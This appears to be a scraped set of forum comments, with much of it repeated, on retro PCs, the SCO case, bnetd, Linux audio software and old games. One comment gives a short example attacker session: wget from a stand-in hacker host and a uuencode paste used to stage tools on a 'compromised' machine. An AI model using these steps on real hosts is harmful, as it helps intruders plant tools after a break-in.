I have a nice expensive (for the time) STB Video card that they abandoned awhile back. It uses the S3Trio64 chip.
X11 abandoned Trio64? Noooooo!::gnaws nails::
My mother has my old machine (P166) that coincidentally has S3Trio64-based card.
What will happen in... uh, 2010, when Debian releases next version of the distro with no support for this card? Will I have to convince my mother to buy a Mac? =)
(Well, I'd certainly love to get that machine back one day to use as a firewall and file server...)
Big beard and tweed jacket, UNIX gurus always had that as long as I can remember.
The clothing may vary (locals seem to have t-shirt and sandals)... but the beard is almost necessary.
I have a dual-boot machine in home. One of the recent Hugish Uptimes was due to the fact that my electric razor is broken and I was out of shaving cream for weeks and couldn't bother to get more. I couldn't bring myself to boot to Windows with a beard like that! No way!
I had one CD once that had the key on the CD label. (Student version of JBuilder.)
Ran installer. "Okay, now your product key, please?" Ummmmm.... wondering where the heck it is supposed to be, then (after exiting, unmounting the CD and ejecting it) noticing it's on the CD.
If I remember correctly, then I had to do it again because it had a strange font that made distincting between l and 1 hard, or some other silliness like that.
Having the key on CD may make it harder to lose, but also quite hard to see.
It's unfortunate that Nintendo killed the series' popularity through overexposure (the card game was a bit much).
The TCG wasn't that bad.
I did think, though, that the GameBoy game based on the TCG was a bit overboard... =/ I mean, it's one thing to make a pretty decent CRPG or a card game based on it, and another to make a game based on a card game based on another game.
Bet they'll next make a card game based on the GB game based on the TCG based on the first GB game. Or at least agree to fund the documentary "Making of 'Making of Titanic'".
What is interesting is that Google lists the sites that have been removed due to DMCA, yes. I first saw this in the case when the Church of Scientology tried to use DMCA to de-list pages critical to them.
The effect is precisely not what the people who invoked DMCA wanted to happen, though.
Google is basically saying "Okay, we would have shown you these sites, but we were told not to". And people are far more curious about seemingly forbidden knowledge =)
Let us rejoice that Google still can tell that the sites were censored and is not required to act ignorant ("DMCA-delisted site? Where? We have no DMCA-delisted sites here, no sir, and if we did, they would be, after all, delisted!").
Sometimes there is nothing funnier than at a particularly unexpected moment someone making a silly reference -- perhaps as a derivative -- to something like "All your base".
All your base is a fad? I still use it in daily conversation.
...and I use the Invasion of Gabber Robots as the war music for Alpha Centauri. (I still haven't figured out how to make the normal game bg music work in SMAC Linux version...)
Certainly makes sense if you're taking over bases =)
Well, gravity doesn't help pushing buttons that much...
They might, of course, sue earth because it allows you to build very stable buildings into which a very stable shelf can be placed to give support to the console when the button is pressed.
But that would be pointless because with no supporting surface, or gravity, the users could just hold the console themselves. Modders could push buttons with no trouble anyway.
Beside your point, but anyone who can orchestrate an attack with DOS is truly l33t. That must be one hell of a batch file.
Nah, the truly l33t d00dz do stuff in Turbo Pascal, with most of the subroutine bodies in assembly, though... people who can manage to do anything impressive with.bats are l33t too, but also probably Criminally Insane.
Well, it's possible to turn that to business news. Call it "Experts believe SCO has no case", and explain, without using complicated technical terms like "BSD license", how SCO is already grabbing money when the "evidence" they've shown so far is non-infringing and doesn't come from proprietary SCO source code. Throw in some quotes from Linus and Bruce. The end.
From the business media point of view, SCO is stronger because they can easily say they Need Some Money because they've been Wronged, but the opponents need to use complicated technical explanations, and the media loves to write stories that are understandable by your average non-tech.
Note that my idea is not to insult you - unless you consider "raving Blizzard fanboy with no clue whatsoever" to be too insulting. I'm merely dismayed by your misconceptions.
Exactly. The name and style of the game was a carbon copy of Warcraft.
Errrrrm. It was a program that allowed people to play Warcraft II right off the CD, or build games of their own that resembled WC2 using custom data.
I would hardly call Freecraft FCMP free data a "carbon copy" of WC2 - it was more like "relentless, unadulterated blasphemy of the most holy name of Warcraft II". It was the answer to question "what would Warcraft II look and sound like if Blizzard had had $2 budget". It was bloody hilarious =)
Warcraft with Warcraft II data set was a new and improved version of the true classic. But FCMP was a game that belonged to SomethingAwful.com hall of infamy, but it had a decent gameplay so it didn't count.
Freecraft was similar to intent to Exult (for Ultima VII) - allows playing game on non-sucky platforms, probably with UI improvements. That alone was worth it.
With bnetd, they had no control.... so Blizzard would lose both their anti-piracy measures, AND the ability to control the online experience for players.... Blizzard are one of the few companies to take cheating seriously,
Hogwash! You had all the control you wanted.
With Battle.net, you rely on Blizzard to kill the xiit0rz - and while they can and will use the power, they can just as easily abuse it. (In my opinion, permanent ban of CD keys is extremely draconian. Would be a pain in the ass if that thing would be invoked lightly, wouldn't it...)
In bnetd, you're the master of your own server. Yes, in bnetd, you can lock accounts, and ban users from certain IP ranges. Read the feature list next time, please.
And the most lucrative feature, of course, would be to run a small server with small circle of users. You can run the server with people you trust.
And what if there would have been a "free Battle.net"? So what if Blizzard couldn't control it - the people who ran it would need to police the thing themselves. And if not, you'd still be free to start your own server with just as fascist administration as you see fit.
Here are some of my experiences with Linux sound apps. Remember, I'm just a dabbler =) My general advice is that it's good enough to poke around and experiment with, and probably even good enough for serious work, but there are still rough edges and bugs and general unpleasantry. Save early, save often! People with adventurous minds may find the applications quite interesting; People who need rock-stable solutions they can trust their life on now will be disappointed. Unless it's typesetting.
Typesetting music is where Linux... er, excuse me, GNU/Linux shines, particularly due to GNU Lilypond, which (coupled with (La)TeX) produces amazingly beautiful scores. Woohoo. I'd (almost) trust my life on this thing.
MIDI editing is almost nice, once the apps get to the speed and we get everything up to ALSA. I recently tried to use Rosegarden 4, which was a pretty cool experience - it's just that it's a tad bit unstable. =/ Definitely needs some work.
Wave editing... Audacity is a very nice sound editor with some multitrack capability, but I believe the Windows version is better because the Linux version still uses OSS (and my SBLive! won't do full duplex on OSS...) Sweep is a pretty cool stereo-only editor, but I personally would like some of Audacity's features here too (labels would rule). Plus, Sweep has an annoying tendency to load everything to memory and won't do stuff on disk...
Ardour (and the low-latency Jack audio API) are pretty interesting and really make me wish I had a professional sound card =) Even with some glitches and oddities, Ardour seems to be pretty cool as far as multi-track editing goes. And Jack is also pretty interesting as far as sound processing goes.
Yep, Fred Gray's great soundtrack. I never remembered the game's name, until I came across it in STIL. (The pieces are "Colonel Bogey march" from Bridge Over River Kwai, and Sousa's "Stars and Stripes Forever".)
As a game, it's definitely a game that the next generation just refuses to believe to exist. "You can't have good and appropriate game background music. And what's with that damn jeep? Cars can't jump like that! Aaaaaaargh! Take it away!" These days, if you make a war game it has to have even a little bit of realism of any kind, back then, any pothead could design a game that sold millions...
Never attribute to malice what can be explained by incompetence.
Had the ??AA really tried, they could have said "here's a nickel, now nuke that press release off the prnewswire web site" to the right person. Now, it looks like some poor fool forgot to check the links. On a plain text document.
After all, if ??AA just tried to mess up the links instead of removing them, what would they gain? You don't exactly need to be a rocket scientist to fix the URL or type "earth station 5" to Google...
Where's the ROM? Or, if there's the ROM, how do you emulate it? (You just don't plug it in MAME...) And even if you have the ROM, where's the damn hardware? It's been a while since year 1981 - anyone can make a ROM of a game, call it "Polybius" and make people think that's the real mind-erasing game thing. And it'll be even more convenient if the game won't work in emulator...
No, we need more solid evidence than vague reports. Specifically, hardware specs, full history, ROMs, whatever - but not rumors.
And if you have rumors, at least make them believeable, coherent and verifiable (not "my brother's wife's aunt's roommate's son played it once").
I could tell you of games that were extraordinary to say the least, and one clearly could not believe they have actually existed unless you saw them with your very eyes. But at least if I type their names to Google I can find them pretty fast and they run in emulator. (Try "Army Moves" - the %#@&*ng jeep jumps, can you believe that? - and "Painterboy" - a noble predecessor to Grand Theft Auto, except that you paint houses instead of kill people. Both for Commodore 64. =)
I have an IBM PS/2 Model 95 at work that I still have powered on.
Heh. My father's PS/1 (486DX-33) was finally decommissioned a few years back when the HDD silently failed. However, that was not the original HDD - I bet the original 150 meg drive is still okay...
I'm trying to resurrect the machine, with a newish HDD and a power source (the old one had failed during the storage, the first original component in the machine to do so) but the IDE bus is having more than enough conflicts and I don't have the patience...
Back then I didn't like the machine, thought it was slow and overpriced. But I guess it survived FAR longer in usable condition than I expected back then...
Great machine. And the first one I ran Linux on, woohoo =)
If this is a sneak photo taken from one of the NDA sessions, I would have expected SCO to show the code with a fixed width font, it being "line by line" copied as stated on the photo. You can't see the original indents otherwise.
Nitpicking about original indents? What are you? *shiver* a Python programmer? =)
Anyway, I don't think this is sneaked from the NDA sessions. The photo clearly has SCO Forum 2003 logo on the top, and I guess the NDA session code probably wasn't titled "Line by Line Copying - One Example of Many". I guess they showed this in the Forum event in weekend.
I'm just curious why they're suing IBM over some code donated by SGI...
Yeah, it sometimes takes days for stuff to come to Unstable tree. That totally sucks.
And I know I'm a loser for using apt-cdrom to maintain those boxes that are behind modem. Real users need to use dselect, the Program Murdock Intended.
Right???
Well, there's no much point in this post, other than that if you want the bleeding edge, it's there, and maintaining stuff on a box with sucky or no internet access is pretty easy, especially with APT.
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X11 abandoned Trio64? Noooooo! ::gnaws nails::
My mother has my old machine (P166) that coincidentally has S3Trio64-based card.
What will happen in... uh, 2010, when Debian releases next version of the distro with no support for this card? Will I have to convince my mother to buy a Mac? =)
(Well, I'd certainly love to get that machine back one day to use as a firewall and file server...)
Rabid fundamentalists, bah! They generally spend time debating! We need a rapid response!
Let's just do the same to the Linux source code and let the Slashdroids loose... Much faster, much more efficient.
The clothing may vary (locals seem to have t-shirt and sandals)... but the beard is almost necessary.
I have a dual-boot machine in home. One of the recent Hugish Uptimes was due to the fact that my electric razor is broken and I was out of shaving cream for weeks and couldn't bother to get more. I couldn't bring myself to boot to Windows with a beard like that! No way!
Oh, easy, they just dragged his body to Lord British for resurrection...
...oh, wait a minute...
Eep. Sorry. =(
Of course, it need not be that actual chainsaw - same model might actually do the thing...
Ask if they still haven't returned it to its owner. I'm sure they understand that this is a very noble cause. =)
I had one CD once that had the key on the CD label. (Student version of JBuilder.)
Ran installer. "Okay, now your product key, please?" Ummmmm.... wondering where the heck it is supposed to be, then (after exiting, unmounting the CD and ejecting it) noticing it's on the CD.
If I remember correctly, then I had to do it again because it had a strange font that made distincting between l and 1 hard, or some other silliness like that.
Having the key on CD may make it harder to lose, but also quite hard to see.
Well, that's a client. RSS itself is just a specific kind of file (in XML) that has headlines and articles. It can be pulled from websites.
RSS can be parsed by any kinds of clients. Most are actually done to please the users. =)
The TCG wasn't that bad.
I did think, though, that the GameBoy game based on the TCG was a bit overboard... =/ I mean, it's one thing to make a pretty decent CRPG or a card game based on it, and another to make a game based on a card game based on another game.
Bet they'll next make a card game based on the GB game based on the TCG based on the first GB game. Or at least agree to fund the documentary "Making of 'Making of Titanic'".
What is interesting is that Google lists the sites that have been removed due to DMCA, yes. I first saw this in the case when the Church of Scientology tried to use DMCA to de-list pages critical to them.
The effect is precisely not what the people who invoked DMCA wanted to happen, though.
Google is basically saying "Okay, we would have shown you these sites, but we were told not to". And people are far more curious about seemingly forbidden knowledge =)
Let us rejoice that Google still can tell that the sites were censored and is not required to act ignorant ("DMCA-delisted site? Where? We have no DMCA-delisted sites here, no sir, and if we did, they would be, after all, delisted!").
The funniest post I can remember about the record industry was a shining example of this. I don't know, at least I laughed... =)
...and I use the Invasion of Gabber Robots as the war music for Alpha Centauri. (I still haven't figured out how to make the normal game bg music work in SMAC Linux version...)
Certainly makes sense if you're taking over bases =)
Well, gravity doesn't help pushing buttons that much...
They might, of course, sue earth because it allows you to build very stable buildings into which a very stable shelf can be placed to give support to the console when the button is pressed.
But that would be pointless because with no supporting surface, or gravity, the users could just hold the console themselves. Modders could push buttons with no trouble anyway.
Or something. I need coffee.
Nah, the truly l33t d00dz do stuff in Turbo Pascal, with most of the subroutine bodies in assembly, though... people who can manage to do anything impressive with .bats are l33t too, but also probably Criminally Insane.
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Well, it's possible to turn that to business news. Call it "Experts believe SCO has no case", and explain, without using complicated technical terms like "BSD license", how SCO is already grabbing money when the "evidence" they've shown so far is non-infringing and doesn't come from proprietary SCO source code. Throw in some quotes from Linus and Bruce. The end.
From the business media point of view, SCO is stronger because they can easily say they Need Some Money because they've been Wronged, but the opponents need to use complicated technical explanations, and the media loves to write stories that are understandable by your average non-tech.
compromised:~# wget http://l33thax0rsite.example.com/gcc-linux-binarie s.tar.gz
...if there's no wget...
haxor@leet:~$ uuencode /usr/bin/wget ...
compromised:~# cat > /tmp/wget.uue /tmp/wget.uue ...
(Copy/paste the zillion lines of text here)
compromised:~# uudecode
...if there's no uudecode, it's not that difficult to write some kind of binary encoder/decoder, even in shell script...
Don't worry. As long as the hax0r has the shell, there's always some way he can do stuff on that machine.
Too bad removing /bin/sh entirely is not quite feasible...
Note that my idea is not to insult you - unless you consider "raving Blizzard fanboy with no clue whatsoever" to be too insulting. I'm merely dismayed by your misconceptions.
Errrrrm. It was a program that allowed people to play Warcraft II right off the CD, or build games of their own that resembled WC2 using custom data.
I would hardly call Freecraft FCMP free data a "carbon copy" of WC2 - it was more like "relentless, unadulterated blasphemy of the most holy name of Warcraft II". It was the answer to question "what would Warcraft II look and sound like if Blizzard had had $2 budget". It was bloody hilarious =)
Warcraft with Warcraft II data set was a new and improved version of the true classic. But FCMP was a game that belonged to SomethingAwful.com hall of infamy, but it had a decent gameplay so it didn't count.
Freecraft was similar to intent to Exult (for Ultima VII) - allows playing game on non-sucky platforms, probably with UI improvements. That alone was worth it.
Hogwash! You had all the control you wanted.
With Battle.net, you rely on Blizzard to kill the xiit0rz - and while they can and will use the power, they can just as easily abuse it. (In my opinion, permanent ban of CD keys is extremely draconian. Would be a pain in the ass if that thing would be invoked lightly, wouldn't it...)
In bnetd, you're the master of your own server. Yes, in bnetd, you can lock accounts, and ban users from certain IP ranges. Read the feature list next time, please.
And the most lucrative feature, of course, would be to run a small server with small circle of users. You can run the server with people you trust.
And what if there would have been a "free Battle.net"? So what if Blizzard couldn't control it - the people who ran it would need to police the thing themselves. And if not, you'd still be free to start your own server with just as fascist administration as you see fit.
Here are some of my experiences with Linux sound apps. Remember, I'm just a dabbler =) My general advice is that it's good enough to poke around and experiment with, and probably even good enough for serious work, but there are still rough edges and bugs and general unpleasantry. Save early, save often! People with adventurous minds may find the applications quite interesting; People who need rock-stable solutions they can trust their life on now will be disappointed. Unless it's typesetting.
Typesetting music is where Linux... er, excuse me, GNU/Linux shines, particularly due to GNU Lilypond, which (coupled with (La)TeX) produces amazingly beautiful scores. Woohoo. I'd (almost) trust my life on this thing.
MIDI editing is almost nice, once the apps get to the speed and we get everything up to ALSA. I recently tried to use Rosegarden 4, which was a pretty cool experience - it's just that it's a tad bit unstable. =/ Definitely needs some work.
Wave editing... Audacity is a very nice sound editor with some multitrack capability, but I believe the Windows version is better because the Linux version still uses OSS (and my SBLive! won't do full duplex on OSS...) Sweep is a pretty cool stereo-only editor, but I personally would like some of Audacity's features here too (labels would rule). Plus, Sweep has an annoying tendency to load everything to memory and won't do stuff on disk...
Ardour (and the low-latency Jack audio API) are pretty interesting and really make me wish I had a professional sound card =) Even with some glitches and oddities, Ardour seems to be pretty cool as far as multi-track editing goes. And Jack is also pretty interesting as far as sound processing goes.
Yep, Fred Gray's great soundtrack. I never remembered the game's name, until I came across it in STIL. (The pieces are "Colonel Bogey march" from Bridge Over River Kwai, and Sousa's "Stars and Stripes Forever".)
As a game, it's definitely a game that the next generation just refuses to believe to exist. "You can't have good and appropriate game background music. And what's with that damn jeep? Cars can't jump like that! Aaaaaaargh! Take it away!" These days, if you make a war game it has to have even a little bit of realism of any kind, back then, any pothead could design a game that sold millions...
Never attribute to malice what can be explained by incompetence.
Had the ??AA really tried, they could have said "here's a nickel, now nuke that press release off the prnewswire web site" to the right person. Now, it looks like some poor fool forgot to check the links. On a plain text document.
After all, if ??AA just tried to mess up the links instead of removing them, what would they gain? You don't exactly need to be a rocket scientist to fix the URL or type "earth station 5" to Google...
Where's the ROM? Or, if there's the ROM, how do you emulate it? (You just don't plug it in MAME...) And even if you have the ROM, where's the damn hardware? It's been a while since year 1981 - anyone can make a ROM of a game, call it "Polybius" and make people think that's the real mind-erasing game thing. And it'll be even more convenient if the game won't work in emulator...
No, we need more solid evidence than vague reports. Specifically, hardware specs, full history, ROMs, whatever - but not rumors.
And if you have rumors, at least make them believeable, coherent and verifiable (not "my brother's wife's aunt's roommate's son played it once").
I could tell you of games that were extraordinary to say the least, and one clearly could not believe they have actually existed unless you saw them with your very eyes. But at least if I type their names to Google I can find them pretty fast and they run in emulator. (Try "Army Moves" - the %#@&*ng jeep jumps, can you believe that? - and "Painterboy" - a noble predecessor to Grand Theft Auto, except that you paint houses instead of kill people. Both for Commodore 64. =)
Heh. My father's PS/1 (486DX-33) was finally decommissioned a few years back when the HDD silently failed. However, that was not the original HDD - I bet the original 150 meg drive is still okay...
I'm trying to resurrect the machine, with a newish HDD and a power source (the old one had failed during the storage, the first original component in the machine to do so) but the IDE bus is having more than enough conflicts and I don't have the patience...
Back then I didn't like the machine, thought it was slow and overpriced. But I guess it survived FAR longer in usable condition than I expected back then...
Great machine. And the first one I ran Linux on, woohoo =)
Of course. C++ bloat. They should have gone with GTK+ instead...
Nitpicking about original indents? What are you? *shiver* a Python programmer? =)
Anyway, I don't think this is sneaked from the NDA sessions. The photo clearly has SCO Forum 2003 logo on the top, and I guess the NDA session code probably wasn't titled "Line by Line Copying - One Example of Many". I guess they showed this in the Forum event in weekend.
I'm just curious why they're suing IBM over some code donated by SGI...
Yeah, it sometimes takes days for stuff to come to Unstable tree. That totally sucks.
And I know I'm a loser for using apt-cdrom to maintain those boxes that are behind modem. Real users need to use dselect, the Program Murdock Intended.
Right???
Well, there's no much point in this post, other than that if you want the bleeding edge, it's there, and maintaining stuff on a box with sucky or no internet access is pretty easy, especially with APT.